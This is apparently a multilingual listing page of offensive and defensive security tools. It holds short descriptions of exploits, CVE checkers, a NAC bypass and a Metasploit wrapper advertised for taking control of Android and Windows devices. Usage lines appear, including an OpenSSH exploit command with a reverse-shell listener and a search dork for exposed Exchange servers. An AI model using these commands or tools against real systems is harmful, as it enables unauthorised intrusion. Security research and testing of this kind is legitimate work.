Autopwn

Autopwn™ 一个基于bash的Metasploit自动化简单工具！ 只需几次点击，即可控制任何Android或Windows设备！！ Autopwn 运行中 注意： 此工具仅用于教育目的，如果你陷入任何法律麻烦并指责我，我只会嘲笑你 : 用户需对自己的行为负责 更新：...

Microsoft_Exchange_Server_SSRF_CVE-2021-26855

MicrosoftExchangeServerSSRFCVE-2021-26855 zoomeye dork：app:"Microsoft Exchange Server" El script MicrosoftExchangeServerSSRFCVE-2021-26855.py, escrito con el kit de herramientas Seebug y pocsuite3, se utilizó para sondear los datos del último año: La tasa de éxito es de aproximadamente: 1500 / 50...

virustotalx

virustotalx para endpoints virustotalx para IPs V2 Instalación root@kitploit: git clone https://github.com/orwagodfather/virustotalx.git root@kitploit: cd virustotalx crea 3 cuentas https://www.virustotal.com/gui/join-us y copia las 3 claves de API === root@kitploit: nano orwa.sh & root@kitploit:...

Nac_Bypass_Agent

Nac 绕过代理 这段代码是一个用 Python 编写的脚本，专为在 Kali Linux 上运行而设计。以下是对每个函数作用的总结： runcommandcommand： 该函数运行它接收的命令并返回其输出。 killnetworkservices： 该函数停止 dhclient 和 NetworkManager 服务。 getnetworkinfo： 该函数使用 tcpdump 监听网络流量，并返回捕获的第一个 IP 和 MAC 地址。如果未捕获到这些地址，则返回 None。 spoofipaddressinterface, ipaddress, netmask： 该函数将指定网络接...

cve-2023-2745

How to use Save the file as checkcve-2023-2745.py and give it execute permission: root@kitploit: chmod +x checkcve-2023-2745.py Install the dependency once: root@kitploit: python3 -m pip install requests Run: root@kitploit: python3 checkcve-2023-2745.py https://example.com...

CVE-2023-25136

POC de OpenSSH Pre-Auth Double Free CVE-2023-25136 Este repositorio contiene un script de Prueba de Concepto POC para comprobar la vulnerabilidad OpenSSH Pre-Auth Double Free CVE-2023-25136 utilizando la librería Paramiko en Python. Requisitos previos Antes de ejecutar este script POC, debes...

CVE-2025-29927-Testing

Script de prueba para CVE-2025-29927 proporcionado por CyberMaxx. Probador de CVE-2025-29927 Este script de PowerShell está diseñado para ayudar a los investigadores de seguridad y administradores de sistemas a probar vulnerabilidades CVE-2025-29927 en aplicaciones Next.js. Comprueba si una...

p-gen

关于工具： P-gen 工具是一个基于 Python 的脚本，能够在极短的时间内创建/生成随机密码。该工具适用于已 root 和未 root 的安卓设备。 适用于： Termux 测试环境： Termux 需求： 网络 存储空间 200 MB 功能特性： + 稳定工具！ + 持续更新维护！ + 在 Termux 中表现最佳！...

web-traffic-generator

web-traffic-generator Un generador de tráfico HTTP/S "orgánico" rápido y sucio. Acerca de Solo un script simple de Python mal escrito que "navega" sin rumbo por internet comenzando en ROOTURLS predefinidas y haciendo "clic" aleatoriamente en los enlaces de las páginas hasta alcanzar el MAXDEPTH...

log4j_checker

Log4jchecker.py CVE-2021-44228 Description This Python3 script tries to look for servers vulnerable to CVE-2021-44228, also known as Log4Shell, a very critical vulnerability found in Log4j2 Java logging library. It doesn't rely on external DNS log servers to verify and validate the vulnerable...

aws-key-disabler

AWS Lambda - IAM Access Key Disabler The AWS Key disabler is a Lambda Function that disables AWS IAM User Access Keys after a set amount of time in order to reduce the risk associated with old access keys. AWS Lambda Architecture SysOps Output for EndUser Developer Toolchain Current Limitations A...

CVE-2022-1388-checker

CVE-2022-1388-checker Simple script realizado en bash, para revisión de múltiples hosts para CVE-2022-1388 F5. + Uso: ./CVE-2022-1388.sh hosts.txt Referencias https://support.f5.com/csp/article/K23605346 https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html...

CVE-2021-3156-PATCHER

Este sencillo script de bash parcheará la vulnerabilidad de desbordamiento de heap de sudo descubierta recientemente. Simplemente ejecuta git clone https://github.com/elbee-cyber/CVE-2021-3156-PATCHER && cd CVE-2021-3156-PATCHER && sh CVE-2021-3156-patcher.sh Este parche es extremadamente...

CVE-2020-15778-Exploit

CVE-2020-15778-Exploit Exploit para CVE-2020-15778 vuln. de OpenSSH Ejemplo: python CVE-2020-15778.py -ip 192.168.11.123 -lhost 192.168.11.124 -lport 1234 Debes usar netcat para escuchar en el puerto antes de usar el script de Python Ejemplo: nc -lvp 1234 1. Captura de pantalla del uso del script...

hayat

Hayat Google Cloud Platform Script de auditoría y endurecimiento ¿Qué significa "Hayat"? Bueno, la verdad es que me costó encontrar un nombre único. "Hayat" es una palabra turca que significa "Vida" en inglés y también es el nombre de mi sobrina. ¿Listo para conocerla? 😍 😍 😍 Hayat es un script de...

CVE-2025-56762

Description: The application leverages “error.php” to serve the respective error code as per the use case back to the web application upon encountering an error. Upon inspecting the source code, it was found that the application does not sanitize the parameter “code” when crafting a malicious...

kalimux

...

DVR_Sploit

DVRSploit Script sencillo en python3 para automatizar CVE-2018-9995 Requisitos: requests pip install requests Uso: root@fuckmachine: python3 dvrsploit.py Introduce el host del DVR: 192.168.69.69 Introduce el puerto del DVR: 88 Lista de dispositivos:...

CVE-2025-11833-PoC

Comprobador de CVE-2025-11833 python3 main.py --url http://localhost --username admin --loot Este repositorio es solo para fines educativos y de investigación. El autor no asume ninguna responsabilidad por el uso indebido. Siempre prueba los PoCs en un entorno controlado y aislado...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script de detección masiva de la vulnerabilidad de ejecución remota de código en Apache Tomcat CVE-2025-24813 Descargo de responsabilidad: La vulnerabilidad descrita en este documento y sus pasos de reproducción se proporcionan únicamente con fines de investigación y educación ...